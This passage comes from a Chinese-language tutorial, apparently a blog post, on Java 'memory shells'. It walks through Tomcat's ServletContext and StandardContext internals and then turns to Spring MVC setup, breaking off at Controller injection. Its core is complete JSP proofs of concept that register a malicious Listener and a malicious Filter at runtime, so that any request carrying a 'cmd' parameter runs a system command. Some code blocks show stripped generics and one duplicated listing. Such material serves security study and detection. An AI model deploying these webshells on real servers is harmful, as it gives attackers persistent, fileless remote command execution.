    Enumeration getServletNames();
    void log(String var1);
    /** @deprecated */
    void log(Exception var1, String var2);
    void log(String var1, Throwable var2);
    String getRealPath(String var1);
    String getServerInfo();
    String getInitParameter(String var1);
    Enumeration getInitParameterNames();
    boolean setInitParameter(String var1, String var2);
    Object getAttribute(String var1);
    Enumeration getAttributeNames();
 
    void setAttribute(String var1, Object var2);
 
    void removeAttribute(String var1);
 
    String getServletContextName();
    
    Dynamic addServlet(String var1, String var2);
 
    Dynamic addServlet(String var1, Servlet var2);
 
 
    Dynamic addServlet(String var1, Class var2);
 
     extends Servlet> T createServlet(Classvar1) throws ServletException;
 
    ServletRegistration getServletRegistration(String var1);
 
    Map ? extends ServletRegistration> getServletRegistrations();
 
    javax.servlet.FilterRegistration.Dynamic addFilter(String var1, String var2);
 
    javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Filter var2);
 
    javax.servlet.FilterRegistration.Dynamic addFilter(String var1, Class var2);
 
     extends Filter> T createFilter(Classvar1) throws ServletException;
    FilterRegistration getFilterRegistration(String var1);
    Map ? extends FilterRegistration> getFilterRegistrations();
    SessionCookieConfig getSessionCookieConfig();
    void setSessionTrackingModes(Setvar1);
 
    Set getDefaultSessionTrackingModes();
 
    Set getEffectiveSessionTrackingModes();
 
    void addListener(String var1);
     extends EventListener> void addListener(T var1);
 
    void addListener(Class var1);
     extends EventListener> T createListener(Classvar1) throws ServletException;
    JspConfigDescriptor getJspConfigDescriptor();
    ClassLoader getClassLoader();
    void declareRoles(String... var1);
}

ServletContext接口中定义了很多操作,能对Servlet中的各种资源进行访问、添加、删除等。

5.3 ApplicationContext

在Tomcat中,ServletContext接口的具体实现就是ApplicationContext类,其实现了ServletContext接口中定义的一些方法。

Tomcat这里使用了门面模式,对ApplicationContext类进行了封装,我们调用getServletContext()方法获得的其实是ApplicationContextFacade类:

public ApplicationContextFacade(ApplicationContext context) {
        super();
        this.context = context;
 
        classCache = new HashMap<>();
        objectCache = new ConcurrentHashMap<>();
        initClassCache();
    }

ApplicationContextFacade类方法中都会调用this.context相应的方法,因此最终调用的还是ApplicationContext类的方法。

5.4 StandardContext

org.apache.catalina.core.StandardContext是子容器Context的标准实现类,其中包含了对Context子容器中资源的各种操作。四种子容器都有其对应的标准实现如下:

而在ApplicationContext类中,对资源的各种操作实际上是调用了StandardContext中的方法。

总结

ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。我们对Context容器中各种资源进行操作时,最终调用的还是StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context。

六、Tomcat内存马

Tomcat内存马大致可以分为三类,分别是Listener型、Filter型、Servlet型。可能有些朋友会发现,这正是Java Web核心的三大组件!没错,Tomcat内存马的核心原理就是动态地将恶意组件添加到正在运行的Tomcat服务器中

而这一技术的实现有赖于官方对Servlet3.0的升级,Servlet在3.0版本之后能够支持动态注册组件。而Tomcat直到7.x才支持Servlet3.0,因此通过动态添加恶意组件注入内存马的方式适合Tomcat7.x及以上。

为了便于调试Tomcat,我们先在父项目的pom文件中引入Tomcat依赖:

<dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>9.0.55</version>
</dependency>

6.1 Listener型内存马

6.1.1 实现恶意的Listener

根据以上思路,我们的目标就是在服务器中动态注册一个恶意的Listener。而Listener根据事件源的不同,大致可以分为如下三种:

  • ServletContextListener
  • HttpSessionListener
  • ServletRequestListener

很明显,ServletRequestListener是最适合用来作为内存马的。因为ServletRequestListener是用来监听ServletRequest对象的,当我们访问任意资源时,都会触发ServletRequestListener#requestInitialized()方法。下面我们来实现一个恶意的Listener:

package Listener;
 
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
 
@WebListener
public class Shell_Listener implements ServletRequestListener {
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
        if (cmd != null) {
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
    }
 
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
    }
}

访问任意路由都可执行命令:

下面的问题就是如何将恶意的Listener动态注册进服务器了,下面我们来分析一下Listener的创建过程。

6.1.2 Listener的创建过程

开启debug模式,我们先来看一下调用栈:

requestInitialized:13, Shell_Listener (Listener)
fireRequestInitEvent:5992, StandardContext (org.apache.catalina.core)
invoke:121, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:382, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

StandardContext#fireRequestInitEvent调用了我们的Listener,我们跟进看其实现:

public boolean fireRequestInitEvent(ServletRequest request) {
 
        Object instances[] = getApplicationEventListeners();
 
        if ((instances != null) && (instances.length > 0)) {
 
            ServletRequestEvent event =
                    new ServletRequestEvent(getServletContext(), request);
 
            for (Object instance : instances) {
                if (instance == null) {
                    continue;
                }
                if (!(instance instanceof ServletRequestListener)) {
                    continue;
                }
                ServletRequestListener listener = (ServletRequestListener) instance;
 
                try {
                    listener.requestInitialized(event);
                } catch (Throwable t) {
                    ExceptionUtils.handleThrowable(t);
                    getLogger().error(sm.getString(
                            "standardContext.requestListener.requestInit",
                            instance.getClass().getName()), t);
                    request.setAttribute(RequestDispatcher.ERROR_EXCEPTION, t);
                    return false;
                }
            }
        }
        return true;
    }

关键代码有两处,首先通过getApplicationEventListeners()获取一个Listener数组,然后遍历数组调用listener.requestInitialized(event)方法触发Listener。跟进getApplicationEventListeners()方法。

public Object[] getApplicationEventListeners() {
        return applicationEventListenersList.toArray();
    }

可以看到Listener实际上是存储在*applicationEventListenersList*属性中的:

并且我们可以通过StandardContext#addApplicationEventListener()方法来添加Listener

public void addApplicationEventListener(Object listener) {
        applicationEventListenersList.add(listener);
    }

那么就有注册恶意Listener的思路了。

6.1.3 获取StandardContext类

下面的工作就是获取StandardContext类了,在StandardHostValve#invoke中,可以看到其通过request对象来获取StandardContext类:

同样地,由于JSP内置了request对象,我们也可以使用同样的方式来获取。

<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
%>

还有另一种获取方式如下:

<%
	WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
%>

6.1.4 编写恶意的Listener

<%!
    public class Shell_Listener implements ServletRequestListener {
 
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    e.printStackTrace();
                } catch (NullPointerException n) {
                    n.printStackTrace();
                }
            }
        }
 
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>

6.1.5 最后添加监听器

<%
	Shell_Listener shell_Listener = new Shell_Listener();
  context.addApplicationEventListener(shell_Listener);
%>

6.1.6 完整POC

至此我们可以总结出Listener型内存马的实现步骤

  1. 获取StandardContext上下文
  2. 实现一个恶意Listener
  3. 通过StandardContext#addApplicationEventListener方法添加恶意Listener

完整POC如下:

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
 
<%!
    public class Shell_Listener implements ServletRequestListener {
 
        public void requestInitialized(ServletRequestEvent sre) {
            HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();
           String cmd = request.getParameter("cmd");
           if (cmd != null) {
               try {
                   Runtime.getRuntime().exec(cmd);
               } catch (IOException e) {
                   e.printStackTrace();
               } catch (NullPointerException n) {
                   n.printStackTrace();
               }
            }
        }
 
        public void requestDestroyed(ServletRequestEvent sre) {
        }
    }
%>
<%
    Field reqF = request.getClass().getDeclaredField("request");
    reqF.setAccessible(true);
    Request req = (Request) reqF.get(request);
    StandardContext context = (StandardContext) req.getContext();
 
    Shell_Listener shell_Listener = new Shell_Listener();
    context.addApplicationEventListener(shell_Listener);
%>

访问Listener.jsp。

此时Tomcat已经添加了我们恶意的Listener,访问任意路由即可触发:

6.2 Filter型内存马

仿照Listener型内存马的实现思路,我们同样能实现Filter型内存马。我们知道,在Servlet容器中,Filter的调用是通过FilterChain实现的:

6.2.1 恶意Filter编写

package Filter;
 
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
 
@WebFilter("/*")
public class Shell_Filter implements Filter {
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd = request.getParameter("cmd");
        if (cmd != null) {
            try {
                Runtime.getRuntime().exec(cmd);
            } catch (IOException e) {
                e.printStackTrace();
            } catch (NullPointerException n) {
                n.printStackTrace();
            }
        }
        chain.doFilter(request, response);
    }
}

6.2.2 Filter调用分析

我们在doFilter处打上断点,调用栈如下:

doFilter:11, Shell_Filter (Filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:197, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:540, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:135, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:687, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:382, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:895, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1722, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

跟进ApplicationFilterChain#internalDoFilter

private void internalDoFilter(ServletRequest request,
                                  ServletResponse response)
        throws IOException, ServletException {
 
        // Call the next filter if there is one
        if (pos < n) {
            ApplicationFilterConfig filterConfig = filters[pos++];
            try {
                Filter filter = filterConfig.getFilter();
 
                if (request.isAsyncSupported() && "false".equalsIgnoreCase(
                        filterConfig.getFilterDef().getAsyncSupported())) {
                    request.setAttribute(Globals.ASYNC_SUPPORTED_ATTR, Boolean.FALSE);
                }
                if( Globals.IS_SECURITY_ENABLED ) {
                    final ServletRequest req = request;
                    final ServletResponse res = response;
                    Principal principal =
                        ((HttpServletRequest) req).getUserPrincipal();
 
                    Object[] args = new Object[]{req, res, this};
                    SecurityUtil.doAsPrivilege ("doFilter", filter, classType, args, principal);
                } else {
                    filter.doFilter(request, response, this);
                }
            } 
...
    }

调用了filter.doFilter(),而filter是通过filterConfig.getFilter()得到的,filterConfig定义如下

private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
 
...
ApplicationFilterConfig filterConfig = filters[pos++]

我们知道,一个filterConfig对应一个Filter,用于存储Filter的上下文信息。这里的*filters属性是一个ApplicationFilterConfig数组。我们来寻找一下ApplicationFilterChain.filters*属性在哪里被赋值。

StandardWrapperValve#invoke()方法中,通过ApplicationFilterFactory.createFilterChain()方法初始化了一个ApplicationFilterChain类:

跟进:

public static ApplicationFilterChain createFilterChain(ServletRequest request,
            Wrapper wrapper, Servlet servlet) {
 
        ...
        // Request dispatcher in use
        filterChain = new ApplicationFilterChain();
 
        filterChain.setServlet(servlet);
        filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());
 
        // Acquire the filter mappings for this Context
        StandardContext context = (StandardContext) wrapper.getParent();
        FilterMap filterMaps[] = context.findFilterMaps();
 
        ...
 
        String servletName = wrapper.getName();
 
        // Add the relevant path-mapped filters to this filter chain
        for (FilterMap filterMap : filterMaps) {
            
            ...
            ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
                    context.findFilterConfig(filterMap.getFilterName());
            ...
 
            filterChain.addFilter(filterConfig);
        }
 
        ...
 
        // Return the completed filter chain
        return filterChain;
    }

从createFilterChain函数中,我们能够清晰地看到filterChain对象的创建过程。

  1. 首先通过filterChain = new ApplicationFilterChain()创建一个空的filterChain对象
  2. 然后通过wrapper.getParent()函数来获取StandardContext对象
  3. 接着获取StandardContext中的FilterMaps对象,FilterMaps对象中存储的是各Filter的名称路径等信息
  4. 最后根据Filter的名称,在StandardContext中获取FilterConfig
  5. 通过filterChain.addFilter(filterConfig)将一个filterConfig添加到filterChain中。

可以看到在ApplicationFilterChain#addFilter方法,filterConfig被添加到filters中。

void addFilter(ApplicationFilterConfig filterConfig) {
        // Prevent the same filter being added multiple times
        for(ApplicationFilterConfig filter:filters) {
            if(filter==filterConfig) {
                return;
            }
        }
 
        if (n == filters.length) {
            ApplicationFilterConfig[] newFilters =
                new ApplicationFilterConfig[n + INCREMENT];
            System.arraycopy(filters, 0, newFilters, 0, n);
            filters = newFilters;
        }
        filters[n++] = filterConfig;
 
    }

所以关键就是将恶意Filter的信息添加进FilterConfig数组中,这样Tomcat在启动时就会自动初始化我们的恶意Filter。

6.2.3 FilterConfig、FilterDef和FilterMaps

跟进到createFilterChain函数中,我们能看到此时的上下文对象StandardContext实际上是包含了这三者的:

1)filterConfigs

其中filterConfigs包含了当前的上下文信息StandardContext、以及filterDef等信息。

其中filterDef存放了filter的定义,包括filterClass、filterName等信息。对应的其实就是web.xml中的<filter>标签。

<filter>
    <filter-name></filter-name>
    <filter-class></filter-class>
</filter>

可以看到,filterDef必要的属性为filterfilterClass以及filterName

2)filterDefs

filterDefs是一个HashMap,以键值对的形式存储filterDef。

3)filterMaps

filterMaps中以array的形式存放各filter的路径映射信息,其对应的是web.xml中的<filter-mapping>标签。

<filter-mapping>
    <filter-name></filter-name>
    <url-pattern></url-pattern>
</filter-mapping>

filterMaps必要的属性为dispatcherMappingfilterNameurlPatterns

于是下面的工作就是构造含有恶意filter的FilterMaps和FilterConfig对象,并将FilterConfig添加到filter链中了。

6.2.4 动态注册Filter

动态添加恶意Filter的思路:

  1. 获取StandardContext对象。
  2. 创建恶意Filter。
  3. 使用FilterDef对Filter进行封装,并添加必要的属性。
  4. 创建filterMap类,并将路径和Filtername绑定,然后将其添加到filterMaps中。
  5. 使用ApplicationFilterConfig封装filterDef,然后将其添加到filterConfigs中。

1)获取StandardContext对象

StandardContext对象主要用来管理Web应用的一些全局资源,如Session、Cookie、Servlet等。因此我们有很多方法来获取StandardContext对象。

Tomcat在启动时会为每个Context都创建个ServletContext对象,来表示一个Context,从而可以将ServletContext转化为StandardContext。

//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
 
//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
 
//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);

2)创建恶意Filter

public class Shell_Filter implements Filter {
    
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        String cmd=request.getParameter("cmd");
        try {
            Runtime.getRuntime().exec(cmd);
        } catch (IOException e) {
            e.printStackTrace();
        }catch (NullPointerException n){
            n.printStackTrace();
        }
    }
}

3)使用FilterDef封装filter

//filter名称
String name = "CommonFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

4)创建filterMap

filterMap用于filter和路径的绑定:

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);

5)封装filterConfig及filterDef到filterConfigs

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
    
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);

6.2.5 完整POC

<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
 
 
<%
    ServletContext servletContext = request.getSession().getServletContext();
    Field appContextField = servletContext.getClass().getDeclaredField("context");
    appContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
    Field standardContextField = applicationContext.getClass().getDeclaredField("context");
    standardContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
%>
 
<%! public class Shell_Filter implements Filter {
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
            String cmd = request.getParameter("cmd");
            if (cmd != null) {
                try {
                    Runtime.getRuntime().exec(cmd);
                } catch (IOException e) {
                    e.printStackTrace();
                } catch (NullPointerException n) {
                    n.printStackTrace();
                }
            }
            chain.doFilter(request, response);
        }
    }
%>
 
<%
    Shell_Filter filter = new Shell_Filter();
    String name = "CommonFilter";
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName(name);
    filterDef.setFilterClass(filter.getClass().getName());
    standardContext.addFilterDef(filterDef);
 
 
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName(name);
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    standardContext.addFilterMapBefore(filterMap);
 
 
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
 
    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    filterConfigs.put(name, filterConfig);
%>

先访问jsp木马:

此时已经动态注册了我们的恶意Filter,访问任意路由即可执行命令:

七、Spring内存马

7.1 什么是Spring

Spring是一个轻量级的Java开源框架,用于配置、管理和维护Bean(组件)的一种框架,其核心理念就是IoC(Inversion of Control,控制反转) 和 **AOP(AspectOrientedProgramming, 面向切面编程)**。现如今Spring全家桶已是一个庞大的家族:

Spring的出现大大简化了JavaEE的开发流程,减少了Java开发时各种繁琐的配置。

Spring框架的核心之一就是分层,其由许多大大小小的组件构成,每种组件都实现不同功能。

7.2 SpringBoot

SpringBoot 基于 Spring 开发。不仅继承了Spring框架原有的优秀特性,它并不是用来替代 Spring 的解决方案,而和 Spring 框架紧密 结合进一步简化了Spring应用的整个搭建和开发过程。其设计目的是用来简化 Spring 应用的初始搭建以及开发过程。

采用 Spring Boot 可以大大的简化开发模式,它集成了大量常用的第三方库配置,所有你想集成的常用框架,它都有对应的组件支持,例如 Redis、MongoDB、Dubbo、kafka,ES等等。SpringBoot 应用中这些第 三方库几乎可以零配置地开箱即用,大部分的 SpringBoot 应用都只需要非常少量的配置代码,开发者能够更加专注于业务逻辑。 另外SpringBoot通过集成大量的框架使得依赖包的版本冲突,以及引用的不稳定性等问题得到了很好的解决。

下面我们就通过IDEA中的Spring Initializr来快速构建一个基于SpringBoot的Web项目:

Spring Initializer 已经不支持Java8,也就是SpringBoot2.x项目初始化

  • Spring Boot 3.0 最低版本需要 Java 17。如果您目前使用的是 Java 8 或 Java 11,则需要在开发 Spring Boot 3.0 应用程序之前升级 JDK。
  • Spring Boot 3.0 也运行良好,并已使用 JDK 19 进行了测试。

如果就是想使用java8呢?

这时候我们可以看到有Java8版本选择了

创建项目:

选择Spring Web:

创建好之后,IDEA会自动创建一个启动类:SpringBootApplication

package com.sxk.springbootdemo.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class HelloWorldController {

    @ResponseBody
    @RequestMapping("hello")
    public String Hello(){
        return "Hello World!";
    }
}

下面我们就可以编写相应的Controller(控制器)及各种业务逻辑了,删除项目包下面的web目录,添加controller目录,编写接口逻辑:

package com.sxk.springbootdemo.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class HelloWorldController {

    @ResponseBody
    @RequestMapping("hello")
    public String Hello(){
        return "Hello World!";
    }
}

访问测试:

7.3 Spring MVC、Tomcat和Servlet

7.3.1 Tomcat

假如让我们自己手动实现一个简易的Web服务器,我们会怎么做?

首先我们肯定要接收客户端发来的TCP数据包,这里我们需要一个TCPServer来监听80端口。接着我们需要将TCP数据包解析成HTTP协议,获取URL路径、参数列表等数据信息。再然后就是执行各种逻辑处理。最后就是把处理的结果封装成HTTP协议返回给浏览器,并且等浏览器收到响应后断开连接。以上就是一个简易Web服务器的实现逻辑,当然,真正的Web服务器可能要比上述更加复杂一些,但核心功能是不变的:接受请求、处理请求、返回响应。

当然,如果我们在处理业务时每次都要进行一遍上述流程,这未免太繁琐。其实我们可以发现在上述流程中,网络通信、HTTP协议解析和封装部分的实现都相对固定。有变化的部分其实只有逻辑处理器,需要我们根据不同请求包而做出相应的逻辑处理。因此,为了提高开发效率,我们能不能将不变的部分封装起来呢?这其实就是我们的Web服务器。

Tomcat就是这样一种服务器,它其实就是一个能够监听TCP连接请求,解析HTTP报文,将解析结果传给处理逻辑器、接收处理逻辑器的返回结果并通过TCP返回给浏览器的一个框架。在Tomcat各种组件中,Connnector就是负责网络通信的,而Container中的Servlet就是我们的逻辑处理器。

因此Tomcat就是一个Servlet容器,它将前后端交互过程中不变的东西(网络通信、协议解析等)封装了起来。而Servlet是一个逻辑处理器,它可以被Tomcat创建、调用和销毁。所以我们的Web程序核心是基于Servlet的,而Web程序的启动依靠Tomcat。

那Spring MVC呢?Spring是利用注解、反射和模板等技术实现的一种框架。其核心类是继承于HttpServlet的DispatchServlet。那既然是Servlet,那负责的肯定就是逻辑处理部分了,那么就需要Tomcat这样的服务器来给Spring提供运行环境。

7.3.2 Spring MVC

Spring MVC的运行流程:

客户端发送Request,DispatcherServlet(等同于Controller控制器),控制器接收到请求,来到HandlerMapping(在配置文件中配置),HandlerMapping会对URL进行解析,并判断当前URL该交给哪个Controller来处理,找到对应的Controller之后,Controller就跟Server、JavaBean进行交互,得到某一个值,并返回一个视图(ModelAndView过程),Dispathcher通过ViewResolver视图解析器,找到ModelAndView对象指定的视图对象,最后,视图对象负责渲染返回给客户端。

1)创建一个简单的Spring MVC项目

这里我们使用Maven来创建一个简单的SpringMVC项目。创建好Maven项目后添加相应的Springmvc依赖。

...
<properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    <maven.compiler.source>1.7</maven.compiler.source>
    <maven.compiler.target>1.7</maven.compiler.target>
    <org.springframework-version>4.1.4.RELEASE</org.springframework-version>
  </properties>
 
  <dependencies>
    <dependency>
      <groupId>junit</groupId>
      <artifactId>junit</artifactId>
      <version>4.11</version>
      <scope>test</scope>
    </dependency>
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-webmvc</artifactId>
      <version>${org.springframework-version}</version>
    </dependency>
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-web</artifactId>
      <version>${org.springframework-version}</version>
    </dependency>
 
    <!-- Tag libs support for view layer -->
    <dependency>
      <groupId>javax.servlet</groupId>
      <artifactId>jstl</artifactId>
      <version>1.2</version>
      <scope>runtime</scope>
    </dependency>
    <dependency>
      <groupId>taglibs</groupId>
      <artifactId>standard</artifactId>
      <version>1.1.2</version>
      <scope>runtime</scope>
    </dependency>
 
  </dependencies>
...

报错:

Could not transfer artifact org.springframework:spring-webmvc:pom:${org.springframework-version} from/to alimaven (http://maven.aliyun.com/nexus/content/groups/public/): TransferFailedException

参考:http://blog.csdn.net/muzi_87/article/details/130216813

最后发现原因是配置的问题,仅添加了dependencies,保留了项目刚创建时的默认properties::

<properties>
    <maven.compiler.source>8</maven.compiler.source>
    <maven.compiler.target>8</maven.compiler.target>
</properties>

漏掉了下面这行:

<org.springframework-version>4.1.4.RELEASE</org.springframework-version>

在main下新建webapp/WEB-INF目录:

在WEB-INF目录下创建Spring配置文件springmvc.xmlweb.xml

springmvc.xml

<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:mvc="http://www.springframework.org/schema/mvc"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd">

    <!-- 设置注解扫描包路径-->
    <context:component-scan base-package="com.controller"/>

    <!-- 开启springMVC的注解驱动,使得url可以映射到对应的controller -->
    <mvc:annotation-driven />

    <!-- 视图解析 -->
    <bean class="org.springframework.web.servlet.view.InternalResourceViewResolver">
        <property name="prefix" value="/WEB-INF/views/"/>
        <property name="suffix" value=".jsp"/>
    </bean>
</beans>

web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">

    <display-name>Archetype Created Web Application</display-name>

<!--    使用默认的DispatcherServlet-->
    <servlet>
        <servlet-name>spring</servlet-name>
        <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
        <init-param>
            <param-name>contextConfigLocation</param-name>
<!--            //spring配置文件路径-->
            <param-value>/WEB-INF/springmvc.xml</param-value>
        </init-param>
        <load-on-startup>1</load-on-startup>
    </servlet>

    <servlet-mapping>
        <servlet-name>spring</servlet-name>
<!--        //路径设置为根目录-->
        <url-pattern>/</url-pattern>
    </servlet-mapping>

</web-app>

报错:Cannot resolve directory ‘WEB-INF’

在springmvc.xml文件右键辅助相对路径放在这里。

在java目录下新建com.controller包,在下面创建test控制器:

package com.controller;
 
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
 
@Controller
public class test {
 
    @ResponseBody
    @RequestMapping("/hello")
    public String hello(){
        System.out.println("hello");
        return "Hello";
    }
}

配置Tomcat,添加相应war包,访问测试。

7.4 Controller内存马

7.4.1 Bean

Bean 是 Spring 框架的一个核心概念,它是构成应用程序的主干,并且是由 Spring IoC 容器负责实例化、配置、组装和管理的对象。

  • bean 是对象
  • bean 被 IoC 容器管理
  • Spring 应用主要是由一个个的 bean 构成的

7.4.2 IOC容器

如果一个系统有大量的组件(类),其生命周期和相互之间的依赖关系如果由组件自身来维护,不但大大增加了系统的复杂度,而且会导致组件之间极为紧密的耦合,继而给测试和维护带来了极大的困难。解决这一问题的核心方案就是IoC(又称为依赖注入)。由IoC负责创建组件、根据依赖关系组装组件、按依赖顺序正确销毁组件。

IOC容器通过读取配置元数据来获取对象的实例化、配置和组装的描述信息。配置的零元数据可以用xmlJava注解Java代码来表示。

7.4.3 ApplicationContext

Spring 框架中,BeanFactory 接口是 Spring IoC容器 的实际代表者

Spring容器就是ApplicationContext,它是一个接口继承于BeanFactory,有很多实现类。获得了ApplicationContext的实例,就获得了IoC容器的引用。我们可以从ApplicationContext中可以根据Bean的ID获取Bean。

因此,org.springframework.context.ApplicationContext接口也代表了 IoC容器 ,它负责实例化、定位、配置应用程序中的对象(bean)及建立这些对象间(beans)的依赖。

7.4.4 Root Context和Child Context

7.3.5 如何动态的注册Controller

  1. 获取上下文环境
  2. 注册恶意Controller
  3. 配置路径映射

1)获取上下文环境Context

有四种方法:

  • getCurrentWebApplicationContext
